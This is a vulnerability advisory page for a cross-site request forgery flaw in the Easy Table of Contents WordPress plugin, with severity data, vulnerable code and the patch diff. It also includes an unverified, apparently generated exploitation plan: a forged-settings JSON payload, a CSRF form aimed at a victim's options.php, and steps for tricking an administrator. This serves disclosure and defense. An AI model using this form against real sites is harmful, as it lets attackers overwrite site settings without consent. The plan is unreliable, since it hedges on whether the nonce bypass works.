CVE-2026-32343

Easy Table of Contents <= 2.0.80 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.0.81
Patched in
64d
Time to patch

Description

The Easy Table of Contents plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.0.80. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.80
PublishedFebruary 11, 2026
Last updatedApril 15, 2026
Affected plugineasy-table-of-contents

What Changed in the Fix

Changes introduced in v2.0.81

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-32343 ## 1. Vulnerability Summary The **Easy Table of Contents** plugin (<= 2.0.80) is vulnerable to **Cross-Site Request Forgery (CSRF)** due to missing or incorrect nonce validation in its administrative functions. Specifically, the settings import/export a…

Show full research plan

Exploitation Research Plan - CVE-2026-32343

1. Vulnerability Summary

The Easy Table of Contents plugin (<= 2.0.80) is vulnerable to Cross-Site Request Forgery (CSRF) due to missing or incorrect nonce validation in its administrative functions. Specifically, the settings import/export and general configuration update logic in ezTOC_Option::sanitize() (located in includes/class-eztoc-option.php) lacks explicit nonce verification, relying instead on the global options.php handler which may be bypassed or improperly implemented for certain actions like the "Migration Tool" or "Import/Export" feature.

2. Attack Vector Analysis

  • Endpoint: wp-admin/options.php (standard Settings API endpoint) or a custom admin-post.php handler.
  • Action: update (for options.php) or a specific migration action like eztoc_import (inferred).
  • Vulnerable Parameter: eztoc_import_backup (file upload parameter).
  • Required Authentication: Administrator (victim must be tricked into clicking a link or visiting a page).
  • Preconditions: The plugin must be active. The attacker needs to craft a malicious JSON settings file.

3. Code Flow

  1. The plugin registers its settings in includes/class-eztoc-option.php using register_setting( 'ez-toc-settings', 'ez-toc-settings', array( __CLASS__, 'sanitize' ) );.
  2. The sanitize() function is called whenever the ez-toc-settings option is updated.
  3. Inside sanitize() (lines 104-123), the code explicitly skips nonce verification:
    //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
    if ( empty( $_POST['_wp_http_referer'] ) ) {
        return $input;
    }
    
  4. If _wp_http_referer is present, it checks for an uploaded file in $_FILES['eztoc_import_backup'] (line 111).
  5. If a file is found, it reads the contents, JSON-decodes it, and if it contains 40 or more keys (line 124), it overwrites the $input (the settings being saved) with the imported values.
  6. The vulnerability exists because an attacker can forge a request to options.php that includes the eztoc_import_backup file. If the nonce check for the ez-toc-settings group is missing or can be bypassed (e.g., via the migration tool logic), the settings will be overwritten.

4. Nonce Acquisition Strategy

While the vulnerability description suggests nonces are missing or incorrect, the sanitize() function explicitly relies on external verification. If the primary settings page is the target, we must attempt to acquire a nonce if the environment enforces it, or demonstrate the bypass if it doesn't.

  1. Identify the Nonce Variable: On the Easy TOC settings page, look for the nonce generated by settings_fields( 'ez-toc-settings' ). This usually creates a hidden field named _wpnonce.
  2. Page Navigation:
    • Use wp post create to ensure a page exists where the TOC might be configured.
    • Navigate to wp-admin/options-general.php?page=ez-toc.
  3. Browser Evaluation:
    • The plugin might not expose the settings nonce via wp_localize_script, but it is present in the HTML form.
    • Extract it using: browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value").

Note: If the vulnerability is a total lack of nonce checking on a custom handler (like a migration hook), no nonce is required.

5. Exploitation Strategy

The goal is to overwrite the plugin settings via CSRF to disable the TOC or inject malicious configurations.

Step-by-Step Exploit:

  1. Prepare Payload: Create a JSON file named malicious_settings.json containing a valid Easy TOC settings array (at least 40 keys). Set a visible change, such as:

    {
      "enabled_post_types": [],
      "auto_insert_post_types": [],
      "fragment_prefix": "hacked-",
      "heading_levels": [1],
      "exclude": ".*"
    }
    

    (Note: Ensure 40+ keys are present to pass the check in class-eztoc-option.php line 124).

  2. Craft CSRF Form:

    <form action="http://victims-site.com/wp-admin/options.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="option_page" value="ez-toc-settings" />
        <input type="hidden" name="action" value="update" />
        <!-- If nonce is required, it must be leaked or bypassed -->
        <input type="hidden" name="_wpnonce" value="EXPLOIT_IF_POSSIBLE" />
        <input type="file" name="eztoc_import_backup" />
        <input type="submit" value="Submit" />
    </form>
    
  3. Execute Request: Use http_request to send a multipart POST request simulating an administrator's browser session.

Request Details:

  • URL: http://localhost:8080/wp-admin/options.php
  • Method: POST
  • Content-Type: multipart/form-data
  • Body:
    • option_page: ez-toc-settings
    • action: update
    • _wp_http_referer: /wp-admin/options-general.php?page=easy-table-of-contents
    • eztoc_import_backup: (Binary content of the JSON file)

6. Test Data Setup

  1. Install/Activate: Ensure Easy Table of Contents 2.0.80 is active.
  2. Standard Configuration: Configure the plugin to show the TOC on posts.
  3. Create Content:
    wp post create --post_type=post --post_title="TOC Test" --post_content="<h2>Heading 1</h2><p>Content</p>" --post_status=publish
    
  4. Confirm TOC: Verify the TOC appears on the frontend of the new post.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy Table of Contents plugin is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce verification in its settings sanitization logic. This allows attackers to overwrite the entire plugin configuration by tricking an administrator into submitting a malicious JSON import file through a forged request.

Vulnerable Code

// includes/class-eztoc-option.php

public static function sanitize( $input = array() ) {

    $options = self::getOptions();
    //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
    if ( empty( $_POST['_wp_http_referer'] ) ) {

        return $input;
    }
    // Code to settings backup file
    $uploaded_file_settings = array();
    //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
    if(isset($_FILES['eztoc_import_backup'])){
        //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
        $eztoc_import_backup_name = isset($_FILES['eztoc_import_backup']['name']) ?esc_url_raw(wp_unslash($_FILES="eztoc_import_backup"]["name"])):'';
        $fileInfo = wp_check_filetype(basename($eztoc_import_backup_name));
        if (!empty($fileInfo['ext']) && $fileInfo['ext'] == 'json') {
            //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
            $eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ?esc_url_raw(wp_unslash($_FILES["eztoc_import_backup"]["tmp_name"])):'';
            if(!empty($eztoc_import_backup_tmpname)){
                //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
                $uploaded_file_settings = json_decode(eztoc_read_file_contents($eztoc_import_backup_tmpname), true);	
           }
        }
    }
    if(!empty($uploaded_file_settings) && is_array($uploaded_file_settings) && count($uploaded_file_settings) >= 40){
        // ... (truncated) ...
        if(count($exported_array) >= 40){
            $input = array();
            $input = $exported_array;
        }
    }
    // ...

Security Fix

--- /includes/class-eztoc-option.php (v2.0.80)
+++ /includes/class-eztoc-option.php (v2.0.81)
@@ -95,49 +95,125 @@
 			}
 			// Code to settings backup file
 			$uploaded_file_settings = array();
+			$import_error = false;
+			$import_success = false;
+			
 			//phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
-			if(isset($_FILES['eztoc_import_backup'])){
+			if(isset($_FILES['eztoc_import_backup']) && !empty($_FILES['eztoc_import_backup']['name'])){
 				//phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
-				$eztoc_import_backup_name = isset($_FILES['eztoc_import_backup']['name']) ?esc_url_raw(wp_unslash($_FILES["eztoc_import_backup"]["name"])):'';
-		    	$fileInfo = wp_check_filetype(basename($eztoc_import_backup_name));
-		        if (!empty($fileInfo['ext']) && $fileInfo['ext'] == 'json') {
+				$file_error = isset($_FILES['eztoc_import_backup']['error']) ? $_FILES['eztoc_import_backup']['error'] : UPLOAD_ERR_NO_FILE;
+				
+				// Check for file upload errors
+				if($file_error !== UPLOAD_ERR_OK){
+					// ... error handling ...
+					$import_error = true;
+				} else {
 					//phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
-					$eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ?esc_url_raw(wp_unslash($_FILES["eztoc_import_backup"]["tmp_name"])):'';
-		            if(!empty($eztoc_import_backup_tmpname)){
+					$eztoc_import_backup_name_original = isset($_FILES['eztoc_import_backup']['name']) ? wp_unslash($_FILES["eztoc_import_backup"]["name"]) : '';
+					$eztoc_import_backup_name = sanitize_file_name($eztoc_import_backup_name_original);
+					
+					$file_extension = strtolower(pathinfo($eztoc_import_backup_name_original, PATHINFO_EXTENSION));
+					if (empty($file_extension) || $file_extension !== 'json') {
+						add_settings_error('ez-toc-settings', 'import_file_type', 'Import failed...', 'error');
+						$import_error = true;
+					} else {
 						//phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
-		            	$uploaded_file_settings = json_decode(eztoc_read_file_contents($eztoc_import_backup_tmpname), true);	
-		           }
-		        }
-		    }
-		    if(!empty($uploaded_file_settings) && is_array($uploaded_file_settings) && count($uploaded_file_settings) >= 40){
+						$eztoc_import_backup_tmpname = isset($_FILES['eztoc_import_backup']['tmp_name']) ? sanitize_text_field(wp_unslash($_FILES["eztoc_import_backup"]["tmp_name"])) : '';
+                        // ... refined JSON processing and validation logic ...

Exploit Outline

The exploit uses a standard CSRF methodology to target the WordPress settings API endpoint. 1. Payload Preparation: Create a JSON file containing a valid set of Easy Table of Contents settings (at least 40 key-value pairs). Modify sensitive settings, such as disabling TOC generation or altering layout parameters to disrupt the site. 2. Form Crafting: Create an HTML form that targets `/wp-admin/options.php`. The form must include multipart/form-data encoding. 3. Required Parameters: Set `option_page` to `ez-toc-settings`, `action` to `update`, and include the `_wp_http_referer` parameter pointing to the plugin settings page. 4. File Inclusion: Include a file input named `eztoc_import_backup` containing the prepared JSON payload. 5. Execution: Trick a site administrator into visiting a page that auto-submits this form. Since `sanitize()` explicitly ignores nonce verification when processing file uploads, the settings will be overwritten upon submission.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.